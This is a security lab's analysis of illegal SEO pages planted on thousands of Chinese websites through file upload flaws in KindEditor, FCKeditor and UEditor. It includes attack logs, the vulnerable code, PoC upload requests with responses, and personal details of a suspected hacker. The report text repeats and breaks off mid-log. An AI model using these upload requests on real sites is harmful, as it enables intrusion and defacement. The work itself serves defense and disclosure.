作者:[email protected]知道创宇404积极防御实验室

 

一、背景

知道创宇威胁情报中心-业务安全舆情监测平台不断发现大量网站被植入非法SEO内容页面,且最近有明显上升的现象,2020年4月至6月发现了6,802个网站被植入了4,955,586个非法SEO内容页面,知道创宇404积极防御实验室的安全研究员针对该现象了进行了分析、溯源。

被非法植入SEO页面的域名备案省份分布如下:

图 1 非法植入SEO页面省份分布图

 

其中,企业占了67%,政府机关、事业单位等国家机构占比4%,如下图:

图 2 网站性质分布比例图

 

被植入非法SEO页面的存活统计如下:

图 3 非法SEO页面存活比例图

二、详细分析

访问这些被植入的页面会自动跳转到非法赌博网站、色情网站。这些页面通过嵌入大量暗链、伪装成404错误页面、写入到PDF文件内容中等多种方法来提高在搜索引擎中的排名。

1. 非法SEO页面植入案例

被植入的非法SEO页面有如下几种:

图 4 访问页面后跳转到非法赌博网站

 

图 5 页面内包含大量色情信息以及暗链

 

图 6 页面内包大量暗链以及非法捏造新闻内容

 

图 7 非法植入传奇页面

 

图 8 在html头部隐藏植入非法赌博信息和页面跳转脚本

 

图 9 404页面伪装

 

图 10 直接植入非法赌博页面

 

图 11 将非法赌博信息植入PDF文件内

 

图 12 搜狗页面隐藏色情页面内容

2. 日志分析

经分析,发现这些网站大部分使用了KindEditor、UEditor和FCKeditor。KindEditor和UEditor在默认配置的情况下允许访客上传文件,FCKeditor在配置不当的情况下会导致访客任意上传文件。

对使用KindEditor的网站日志分析,政府机构、教育机构、事业单位、企业等网站都存在异常数据流量,其特征都是访问不同网站的同一个目录文件:

www.*.com/kindeditor/*/upload_json.ashx?dir=image

以KindEditor为关键字,在谷歌搜索上找到大量的被非法注入的SEO内容的页面:

图 13

 

知道创宇云安全CDN捕获到黑客的上传请求:

2020-06-28 16:53:49 180.104.*.* POST    www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 17:00:20 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:58 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:07 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:26 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:48 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:52 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:55:11 180.104.*.* POST    www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:55:30 180.104.*.* POST    www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:58:22 58.216.*.*  POST    www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:24:25 58.216.*.*  POST    www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:00:13 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:45 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:24 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:32 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:48:53 45.89.*.*   POST    jtj.*.gov.cn/js/kindeditor/jsp/upload_json.jsp?dir=file
2020-06-28 16:59:27 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:04 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:54:57 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:40 27.38.*.*   POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:24 27.38.*.*   POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:16 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:32 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:50 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image

经过统计,80%的非法植入页面都与KindEditor编辑器有关,并且 KindEditor编辑器的版本号都小于4.1.12

 

3. 编辑器漏洞分析

3.1 影响范围

知道创宇ZoomEye检索到KindEditor编辑器相关记录 29,595条、FCKeditor编辑器记录238,711条、UEditor编辑器记录 18,648条,如下所示:

图 14 KindEditor编辑器

 

图 15 FCKeditor编辑器

 

图 16 UEditor编辑器

 

使用ZoomEye网络搜索引擎快速评估了三种编辑器漏洞的影响范围,其中UEditor主要省市分布如下:

FCKeditor主要省市分布如下:

KindEditor主要省市分布如下:

 
3.2 KindEditor 编辑器文件上传漏洞分析

KindEditor < 4.1.12 版本存在任意文件上传漏洞,文件KindEditor/php/upload_json.php是演示程序,不检查访问者的权限以及内容即可上传文件,且很多网站系统没有删除该文件,造成恶意用户上传非法内容。upload_json.php关键代码如下所示:

/有上传文件时
if (empty($_FILES) === false) {
    //原文件名
    $file_name = $_FILES['imgFile']['name'];
    //服务器上临时文件名
    $tmp_name = $_FILES['imgFile']['tmp_name'];
    //文件大小
    $file_size = $_FILES['imgFile']['size'];
    //检查文件名
    if (!$file_name) {
        alert("请选择文件。");
    }
    //检查目录
    if (@is_dir($save_path) === false) {
        alert("上传目录不存在。");
    }
    //检查目录写权限
    if (@is_writable($save_path) === false) {
        alert("上传目录没有写权限。");
    }
    //检查是否已上传
    if (@is_uploaded_file($tmp_name) === false) {
        alert("上传失败。");
    }
    //检查文件大小
    if ($file_size > $max_size) {
        alert("上传文件大小超过限制。");
    }
    //检查目录名
    $dir_name = empty($_GET['dir']) ? 'image' : trim($_GET['dir']);
    if (empty($ext_arr[$dir_name])) {
        alert("目录名不正确。");
    }
    //获得文件扩展名
    $temp_arr = explode(".", $file_name);
    $file_ext = array_pop($temp_arr);
    $file_ext = trim($file_ext);
    $file_ext = strtolower($file_ext);
    //检查扩展名
    if (in_array($file_ext, $ext_arr[$dir_name]) === false) {
        alert("上传文件扩展名是不允许的扩展名。\n只允许" . implode(",", $ext_arr[$dir_name]) . "格式。");
    }
    //创建文件夹
    if ($dir_name !== '') {
        $save_path .= $dir_name . "/";
        $save_url .= $dir_name . "/";
        if (!file_exists($save_path)) {
            mkdir($save_path);
        }
    }
    $ymd = date("Ymd");
    $save_path .= $ymd . "/";
    $save_url .= $ymd . "/";
    if (!file_exists($save_path)) {
        mkdir($save_path);
    }
    //新文件名
    $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $file_ext;
    //移动文件
    $file_path = $save_path . $new_file_name;
    if (move_uploaded_file($tmp_name, $file_path) === false) {
        alert("上传文件失败。");
    }
    @chmod($file_path, 0644);
    $file_url = $save_url . $new_file_name;

    header('Content-type: text/html; charset=UTF-8');
    $json = new Services_JSON();
    echo $json->encode(array('error' => 0, 'url' => $file_url));
    exit;
}

POC如下:

POST /asp/upload_json.asp?dir=file HTTP/1.1
Host: www.*.com
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 80432
Content-Type: multipart/form-data; boundary=------------------------9f9be5bc74ffdc89
Expect: 100-continue

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 05:26:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 85
Connection: keep-alive
Cache-Control: private
Set-Cookie: ASPSESSIONIDSCQCSSTQ=HCFCPMPCKGEKEBLLNIBOJOBL; path=/
X-Via-JSL: 9f68ad3,-
Set-Cookie: __jsluid_h=735a5857c6600e858cbf1e17cbf444f3; max-age=31536000; path=/; HttpOnly
X-Cache: bypass

{"error":0,"url":"\/asp\/..\/company\/upimages\/20200709\/20200709132665736573.html"}
 
3.3 FCKeditor 编辑器文件上传漏洞分析

PHP 版本 <= 2.4.2 在处理PHP 上传的地方并未对用户进行上传文件类型的控制,导致用户上传任意文件。

通过测试分析,发现上传文件的接口:

www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/

关键参数有:Command、Type和CurrentFolder。

首先在源码中,查找Command、Type和CurrentFolder三个参数相关的代码:

    $sCommand       = $_GET['Command'] ;
    $sResourceType  = $_GET['Type'] ;
    $sCurrentFolder = $_GET['CurrentFolder'] ;

sCommand变量,当该变量值为“FileUpload”时,会通过FileUpload函数处理:

    if ( $sCommand == 'FileUpload' )
    {
        FileUpload( $sResourceType, $sCurrentFolder ) ;
        return ;
    }

FileUpload(位于commands.php)只是简单的对文件后缀名做了黑名单限制:

$arDenied   = $Config['DeniedExtensions'][$resourceType] ;

未对非法内容进行过滤,也没有进行权限限制,就可以利用这一点进行非法SEO内容上传。

POC如下:

POST /gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29373750073747171394011132748
Content-Length: 325
Origin: http://www.*.com
Connection: close
Referer: http://www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/frmupload.html
Upgrade-Insecure-Requests: 1

-----------------------------29373750073747171394011132748
Content-Disposition: form-data; name="NewFile"; filename="testtest.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
    <title>test title</title>
</head>
<body>
<p>girl<p>
</body>
</html>
-----------------------------29373750073747171394011132748--




HTTP/1.1 200 OK
Date: Fri, 10 Jul 2020 02:18:42 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 112

<script type="text/javascript">window.parent.frames["frmUpload"].OnUploadCompleted(0,"testtest.html") ;</script>
3.4 UEditor 编辑器文件上传漏洞分析

UEditor 1.4.3.3 的.NET语言版本存在任意文件上传漏洞。因为编辑器上传接口暴露:/ueditor/net/controller.ashx?action=catchimage,网站开发人员未对其进行安全设置,造成任意文件上传漏洞。

在UEditor 中有一个上传逻辑部分的controller.php文件,如下所示:

date_default_timezone_set("Asia/chongqing");
error_reporting(E_ERROR);
header("Content-Type: text/html; charset=utf-8");
$CONFIG = json_decode(preg_replace("/\/*[\s\S]+?*\//", "", file_get_contents("config.json")), true);
$action = $_GET['action'];
switch ($action) {
    case 'config':
        $result =  json_encode($CONFIG);
        break;
    / 上传图片 /
    case 'uploadimage':
    / 上传涂鸦 /
    case 'uploadscrawl':
    / 上传视频 /
    case 'uploadvideo':
    / 上传文件 /
    case 'uploadfile':
        $result = include("action_upload.php");
        break;
    / 列出图片 /
    case 'listimage':
        $result = include("action_list.php");
        break;
    / 列出文件 /
    case 'listfile':
        $result = include("action_list.php");
        break;
    / 抓取远程文件 /
    case 'catchimage':
        $result = include("action_crawler.php");
        break;
    default:
        $result = json_encode(array(
            'state'=> '请求地址出错'
        ));
        break;
}

每当抓取远程数据源时,都会进入“catchimage”分支,而Crawler方法对source[]的检查仅仅是一个ContentType:

if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }

因此,恶意用户就可以通过构造以下代码上传任意文件,POC如下所示:

POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close
Upgrade-Insecure-Requests: 1

source%5B%5D=http%3A%2F%2Fwww.*.com

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Date: Thu, 09 Jul 2020 06:38:58 GMT
Connection: close
Content-Length: 105

{"state":"SUCCESS","list":[{"state":"Url is not an image","source":"http://www.*.com","url":null}]}

 

4. IP分析

从知道创宇云安全CDN数据中抽取6月28日的日志记录,统计因编辑器漏洞导致上传次数大于10次的异常IP:

IP 地理位置 上传次数
106.115.x.x 河北 96
80.251.x.x 美国 90
104.233.x.x 日本 30
58.216.x.x 江苏 30
112.53.x.x 江苏 24
218.4.x.x 江苏 13
119.180.x.x 山东 10

抽取了一个6月活跃的IP,节选的片段如下所示:

 2020-06-28 16:11:18 58.216.*.* jggw.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:40:12 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 15:48:56 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
 2020-06-28 15:49:11 58.216.*.* ql.*.org.cn /api.php?op=upload_json&dir=image
 2020-06-28 17:04:47 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=file
 2020-06-28 11:04:33 58.216.*.* ciip.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:09 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:13 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:17 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:37:20 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image  2020-06-28 16:30:20 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 16:31:17 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 16:39:01 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 16:39:12 58.216.*.* www.*.gov.cn /editor/kindeditor/php/upload_json.php?dir=image
 2020-06-28 12:08:24 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 12:08:36 58.216.*.* jyj.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 16:49:55 58.216.*.* gxj.*.gov.cn /api.php?op=upload_json&dir=file
 2020-06-28 16:51:03 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
2020-06-28 16:51:10 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 16:51:18 58.216.*.* zfhcxjsj.*.gov.cn /api.php?op=upload_json&dir=image

有着相同的规律:每5秒到10秒就发送一次POST非法SEO页面请求,且该IP在三天内没有一次访问过受害网站,因此可以判断黑客利用非法工具对网站进行了批量上传页面操作。

5. 黑客溯源

经分析,这些网站都有共同存在的暗链:

链接 描述
www.ikaidian.net/css.js 恶意伪造虚假八卦消息的网站
www.htmljpg.com 外表小说网站其实暗链综合网站
www.113112.xyz 存储大量色情图片的网站

www.ikaidian.net/css.js 截图如下:

图 17

 

www.ikaidian.net/404.js的内容截图如下:

图 18

 

继续打开,里面藏着一个账号:E-mail:[email protected]

图 19

 

用谷歌搜索,所有结果都是色情页面,布局格式和上文找到植入非法SEO内容一致:

图 20

 

必应搜索结果如下所示:

图 21

 

点进网页,搜索源码,发现一段有效信息:

图 22

 

有效信息如下:

Name: facai chen
Street: guangdongshengzhongshanshizhongshanjie
Postal Code: 528400
Phone: +86.1317****648
Email: [email protected]

邮编与街道相符,手机号为山东滨州联通的电话号码。

微信查找手机号,疑似黑客的微信:

图 23

 

微信头像疑似为本人照片:

图 24

 

根据追溯结果显示,该漏洞已被国内黑产人员大批量自动化利用。

 

6. 总结

经过知道创宇云防御团队的持续监测和追踪,2020年4月至6月被利用FCKeditor、UEditor、KindEditor编辑器漏洞植入非法SEO页面的网站已有6,802个,总计被植入4,955,586个非法SEO内容页面,主要涉及的网站包括政府机关、教育、金融等多个行业,且被非法植入SEO内容页面的网站数量正呈上升趋势各网站需及时升级相关编辑器版本,及时修复漏洞,避免网站被不法分子利用。

作者:[email protected]知道创宇404积极防御实验室

 

一、背景

知道创宇威胁情报中心-业务安全舆情监测平台不断发现大量网站被植入非法SEO内容页面,且最近有明显上升的现象,2020年4月至6月发现了6,802个网站被植入了4,955,586个非法SEO内容页面,知道创宇404积极防御实验室的安全研究员针对该现象了进行了分析、溯源。

被非法植入SEO页面的域名备案省份分布如下:

图 1 非法植入SEO页面省份分布图

 

其中,企业占了67%,政府机关、事业单位等国家机构占比4%,如下图:

图 2 网站性质分布比例图

 

被植入非法SEO页面的存活统计如下:

图 3 非法SEO页面存活比例图

二、详细分析

访问这些被植入的页面会自动跳转到非法赌博网站、色情网站。这些页面通过嵌入大量暗链、伪装成404错误页面、写入到PDF文件内容中等多种方法来提高在搜索引擎中的排名。

1. 非法SEO页面植入案例

被植入的非法SEO页面有如下几种:

图 4 访问页面后跳转到非法赌博网站

 

图 5 页面内包含大量色情信息以及暗链

 

图 6 页面内包大量暗链以及非法捏造新闻内容

 

图 7 非法植入传奇页面

 

图 8 在html头部隐藏植入非法赌博信息和页面跳转脚本

 

图 9 404页面伪装

 

图 10 直接植入非法赌博页面

 

图 11 将非法赌博信息植入PDF文件内

 

图 12 搜狗页面隐藏色情页面内容

2. 日志分析

经分析,发现这些网站大部分使用了KindEditor、UEditor和FCKeditor。KindEditor和UEditor在默认配置的情况下允许访客上传文件,FCKeditor在配置不当的情况下会导致访客任意上传文件。

对使用KindEditor的网站日志分析,政府机构、教育机构、事业单位、企业等网站都存在异常数据流量,其特征都是访问不同网站的同一个目录文件:

www.*.com/kindeditor/*/upload_json.ashx?dir=image

以KindEditor为关键字,在谷歌搜索上找到大量的被非法注入的SEO内容的页面:

图 13

 

知道创宇云安全CDN捕获到黑客的上传请求:

2020-06-28 16:53:49 180.104.*.* POST    www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 17:00:20 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:58 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:07 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:26 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:48 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:52 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:55:11 180.104.*.* POST    www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:55:30 180.104.*.* POST    www.*.com/e/incs/kindeditor/ashx/upload_json.ashx?dir=image
2020-06-28 16:58:22 58.216.*.*  POST    www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:24:25 58.216.*.*  POST    www.*.gov.cn/editor/kindeditor/php/upload_json.php?dir=image
2020-06-28 17:00:13 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:45 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:24 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:59:32 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:48:53 45.89.*.*   POST    jtj.*.gov.cn/js/kindeditor/jsp/upload_json.jsp?dir=file
2020-06-28 16:59:27 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 17:00:04 106.115.*.* POST    www.*.com/kindeditor/asp.net/upload_json.ashx?dir=file
2020-06-28 16:54:57 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:40 27.38.*.*   POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:44:24 27.38.*.*   POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:16 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:32 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image
2020-06-28 16:55:50 223.113.*.* POST    b2b.*.cn/member/kindeditor/php/upload_json.php?dir=image

经过统计,80%的非法植入页面都与KindEditor编辑器有关,并且 KindEditor编辑器的版本号都小于4.1.12

 

3. 编辑器漏洞分析

3.1 影响范围

知道创宇ZoomEye检索到KindEditor编辑器相关记录 29,595条、FCKeditor编辑器记录238,711条、UEditor编辑器记录 18,648条,如下所示:

图 14 KindEditor编辑器

 

图 15 FCKeditor编辑器

 

图 16 UEditor编辑器

 

使用ZoomEye网络搜索引擎快速评估了三种编辑器漏洞的影响范围,其中UEditor主要省市分布如下:

FCKeditor主要省市分布如下:

KindEditor主要省市分布如下:

 
3.2 KindEditor 编辑器文件上传漏洞分析

KindEditor < 4.1.12 版本存在任意文件上传漏洞,文件KindEditor/php/upload_json.php是演示程序,不检查访问者的权限以及内容即可上传文件,且很多网站系统没有删除该文件,造成恶意用户上传非法内容。upload_json.php关键代码如下所示:

/有上传文件时
if (empty($_FILES) === false) {
    //原文件名
    $file_name = $_FILES['imgFile']['name'];
    //服务器上临时文件名
    $tmp_name = $_FILES['imgFile']['tmp_name'];
    //文件大小
    $file_size = $_FILES['imgFile']['size'];
    //检查文件名
    if (!$file_name) {
        alert("请选择文件。");
    }
    //检查目录
    if (@is_dir($save_path) === false) {
        alert("上传目录不存在。");
    }
    //检查目录写权限
    if (@is_writable($save_path) === false) {
        alert("上传目录没有写权限。");
    }
    //检查是否已上传
    if (@is_uploaded_file($tmp_name) === false) {
        alert("上传失败。");
    }
    //检查文件大小
    if ($file_size > $max_size) {
        alert("上传文件大小超过限制。");
    }
    //检查目录名
    $dir_name = empty($_GET['dir']) ? 'image' : trim($_GET['dir']);
    if (empty($ext_arr[$dir_name])) {
        alert("目录名不正确。");
    }
    //获得文件扩展名
    $temp_arr = explode(".", $file_name);
    $file_ext = array_pop($temp_arr);
    $file_ext = trim($file_ext);
    $file_ext = strtolower($file_ext);
    //检查扩展名
    if (in_array($file_ext, $ext_arr[$dir_name]) === false) {
        alert("上传文件扩展名是不允许的扩展名。\n只允许" . implode(",", $ext_arr[$dir_name]) . "格式。");
    }
    //创建文件夹
    if ($dir_name !== '') {
        $save_path .= $dir_name . "/";
        $save_url .= $dir_name . "/";
        if (!file_exists($save_path)) {
            mkdir($save_path);
        }
    }
    $ymd = date("Ymd");
    $save_path .= $ymd . "/";
    $save_url .= $ymd . "/";
    if (!file_exists($save_path)) {
        mkdir($save_path);
    }
    //新文件名
    $new_file_name = date("YmdHis") . '_' . rand(10000, 99999) . '.' . $file_ext;
    //移动文件
    $file_path = $save_path . $new_file_name;
    if (move_uploaded_file($tmp_name, $file_path) === false) {
        alert("上传文件失败。");
    }
    @chmod($file_path, 0644);
    $file_url = $save_url . $new_file_name;

    header('Content-type: text/html; charset=UTF-8');
    $json = new Services_JSON();
    echo $json->encode(array('error' => 0, 'url' => $file_url));
    exit;
}

POC如下:

POST /asp/upload_json.asp?dir=file HTTP/1.1
Host: www.*.com
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 80432
Content-Type: multipart/form-data; boundary=------------------------9f9be5bc74ffdc89
Expect: 100-continue

HTTP/1.1 200 OK
Date: Thu, 09 Jul 2020 05:26:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 85
Connection: keep-alive
Cache-Control: private
Set-Cookie: ASPSESSIONIDSCQCSSTQ=HCFCPMPCKGEKEBLLNIBOJOBL; path=/
X-Via-JSL: 9f68ad3,-
Set-Cookie: __jsluid_h=735a5857c6600e858cbf1e17cbf444f3; max-age=31536000; path=/; HttpOnly
X-Cache: bypass

{"error":0,"url":"\/asp\/..\/company\/upimages\/20200709\/20200709132665736573.html"}
 
3.3 FCKeditor 编辑器文件上传漏洞分析

PHP 版本 <= 2.4.2 在处理PHP 上传的地方并未对用户进行上传文件类型的控制,导致用户上传任意文件。

通过测试分析,发现上传文件的接口:

www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/

关键参数有:Command、Type和CurrentFolder。

首先在源码中,查找Command、Type和CurrentFolder三个参数相关的代码:

    $sCommand       = $_GET['Command'] ;
    $sResourceType  = $_GET['Type'] ;
    $sCurrentFolder = $_GET['CurrentFolder'] ;

sCommand变量,当该变量值为“FileUpload”时,会通过FileUpload函数处理:

    if ( $sCommand == 'FileUpload' )
    {
        FileUpload( $sResourceType, $sCurrentFolder ) ;
        return ;
    }

FileUpload(位于commands.php)只是简单的对文件后缀名做了黑名单限制:

$arDenied   = $Config['DeniedExtensions'][$resourceType] ;

未对非法内容进行过滤,也没有进行权限限制,就可以利用这一点进行非法SEO内容上传。

POC如下:

POST /gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=/ HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29373750073747171394011132748
Content-Length: 325
Origin: http://www.*.com
Connection: close
Referer: http://www.*.com/gedo/mambots/editors/fckeditor/editor/filemanager/browser/default/frmupload.html
Upgrade-Insecure-Requests: 1

-----------------------------29373750073747171394011132748
Content-Disposition: form-data; name="NewFile"; filename="testtest.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
    <title>test title</title>
</head>
<body>
<p>girl<p>
</body>
</html>
-----------------------------29373750073747171394011132748--




HTTP/1.1 200 OK
Date: Fri, 10 Jul 2020 02:18:42 GMT
Server: Apache
Connection: close
Content-Type: text/html
Content-Length: 112

<script type="text/javascript">window.parent.frames["frmUpload"].OnUploadCompleted(0,"testtest.html") ;</script>
3.4 UEditor 编辑器文件上传漏洞分析

UEditor 1.4.3.3 的.NET语言版本存在任意文件上传漏洞。因为编辑器上传接口暴露:/ueditor/net/controller.ashx?action=catchimage,网站开发人员未对其进行安全设置,造成任意文件上传漏洞。

在UEditor 中有一个上传逻辑部分的controller.php文件,如下所示:

date_default_timezone_set("Asia/chongqing");
error_reporting(E_ERROR);
header("Content-Type: text/html; charset=utf-8");
$CONFIG = json_decode(preg_replace("/\/*[\s\S]+?*\//", "", file_get_contents("config.json")), true);
$action = $_GET['action'];
switch ($action) {
    case 'config':
        $result =  json_encode($CONFIG);
        break;
    / 上传图片 /
    case 'uploadimage':
    / 上传涂鸦 /
    case 'uploadscrawl':
    / 上传视频 /
    case 'uploadvideo':
    / 上传文件 /
    case 'uploadfile':
        $result = include("action_upload.php");
        break;
    / 列出图片 /
    case 'listimage':
        $result = include("action_list.php");
        break;
    / 列出文件 /
    case 'listfile':
        $result = include("action_list.php");
        break;
    / 抓取远程文件 /
    case 'catchimage':
        $result = include("action_crawler.php");
        break;
    default:
        $result = json_encode(array(
            'state'=> '请求地址出错'
        ));
        break;
}

每当抓取远程数据源时,都会进入“catchimage”分支,而Crawler方法对source[]的检查仅仅是一个ContentType:

if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }

因此,恶意用户就可以通过构造以下代码上传任意文件,POC如下所示:

POST /ueditor/net/controller.ashx?action=catchimage HTTP/1.1
Host: www.*.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Connection: close
Upgrade-Insecure-Requests: 1

source%5B%5D=http%3A%2F%2Fwww.*.com

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Date: Thu, 09 Jul 2020 06:38:58 GMT
Connection: close
Content-Length: 105

{"state":"SUCCESS","list":[{"state":"Url is not an image","source":"http://www.*.com","url":null}]}

 

4. IP分析

从知道创宇云安全CDN数据中抽取6月28日的日志记录,统计因编辑器漏洞导致上传次数大于10次的异常IP:

IP 地理位置 上传次数
106.115.x.x 河北 96
80.251.x.x 美国 90
104.233.x.x 日本 30
58.216.x.x 江苏 30
112.53.x.x 江苏 24
218.4.x.x 江苏 13
119.180.x.x 山东 10

抽取了一个6月活跃的IP,节选的片段如下所示:

 2020-06-28 16:11:18 58.216.*.* jggw.*.gov.cn /api.php?op=upload_json&dir=image
 2020-06-28 11:40:12 58.216.*.* zx.*.gov.cn /api.php?op=upload_json&dir=image
